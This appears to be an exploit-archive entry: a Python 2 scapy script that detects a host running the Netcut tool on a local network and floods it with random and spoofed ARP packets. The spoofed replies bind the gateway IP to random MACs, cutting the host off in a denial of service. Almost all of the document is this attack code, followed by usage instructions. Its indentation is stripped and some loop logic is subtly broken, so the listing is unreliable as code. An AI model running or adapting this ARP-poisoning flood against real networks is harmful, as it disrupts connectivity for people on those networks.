Netcut 2.0 Denial Of Service

`#!/usr/bin/env python  
#Exploit Title: Netcut Denial of Service Vulnerability  
#Author: MaYaSeVeN  
#Blog: http://mayaseven.blogspot.com  
#PoC: Video http://www.youtube.com/user/mayaseven  
# Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png  
#Version: Netcut 2  
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266  
#Tested on: Windows Xp, Windows 7  
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma  
  
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf  
import commands,os,sys  
  
#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]  
gw_ip = commands.getoutput("ip route list | grep default").split()[2]  
  
def protect(gw_ip,gw_mac):  
os.popen("arp -s %s %s" %(gw_ip,gw_mac))  
print "Protected himself"  
  
def detect():  
ans = sniff(filter='arp',timeout=7)  
target=[]  
for r in ans.res:  
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))  
return target  
  
def preattack(gw_ip):  
num = []  
count = 0  
target = 0  
temp = 0  
print "Detecting..."  
d = detect()  
for i in range(len(d)):  
if d[i].split()[0] == "255.255.255.255":  
num.append(d.count(d[i]))  
if d.count(d[i]) > count:  
count = d.count(d[i])  
target = i  
if d[i].split()[0] == gw_ip:  
temp += 1   
if len(d) < 7:  
print "[-] No one use Netcut or try again"  
exit()  
if len(num)*7 < temp:  
num[:] = []  
count = 0  
result = float(temp)/len(d)*100  
for j in range(len(d)):  
if d[i].split()[0] == gw_ip:  
num.append(d.count(d[j]))  
if d.count(d[i]) > count:  
count = d.count(d[i])  
target = i  
num.reverse()  
result = float(temp)/len(d)*100  
print target  
else:  
num.reverse()  
result = float(num[0]+temp)/len(d)*100  
  
print "There is a possibility that " + str(result) + "%"  
if result>= 50:  
target_mac = d[target].split()[1]  
target_ip = d[target].split()[2]  
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)  
attack(target_mac,target_ip,gw_ip)   
else:  
print "[-] No one use Netcut or try again"  
  
def attack(target_mac,target_ip,gw_ip):  
print "[+]Counter Attack !!!"  
e = Ether(dst="FF:FF:FF:FF:FF:FF")  
while 1:  
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)  
p = e/a/Padding("\x00"*18)  
sendp(p,verbose=0)  
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)  
p1 = e/a1/Padding("\x00"*18)  
sendp(p1,verbose=0)  
  
if __name__ == '__main__':  
os.system("clear")  
print "###################################################"  
print " __ __ __ __ _____ __ __ _ _"  
print "| \/ | \ \ / / / ____| \ \ / / | \ | |"  
print "| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |"  
print "| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |"  
print "| | | | (_| || | (_| |____) | __/\ / __/ |\ |"  
print "|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"  
print " "  
print "###################################################"  
print ""  
print "http://mayaseven.blogspot.com"  
print ""  
if len(sys.argv) == 2 or len(sys.argv) == 3:  
if len(sys.argv) == 2:  
conf.iface=sys.argv[1]  
preattack(gw_ip)  
if len(sys.argv) == 3:  
conf.iface=sys.argv[1]  
gw_mac = sys.argv[2]  
protect(gw_ip,gw_mac)  
preattack(gw_ip)  
else:  
print '''Mode:   
1.)Attack only  
Usage: NetcutKiller <Interface>  
e.g. NetcutKiller.py wlan0  
  
2.)Attack with protect himself  
Usage: NetcutKiller <Interface> <MAC_Gateway>  
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF  
'''  
  
  
`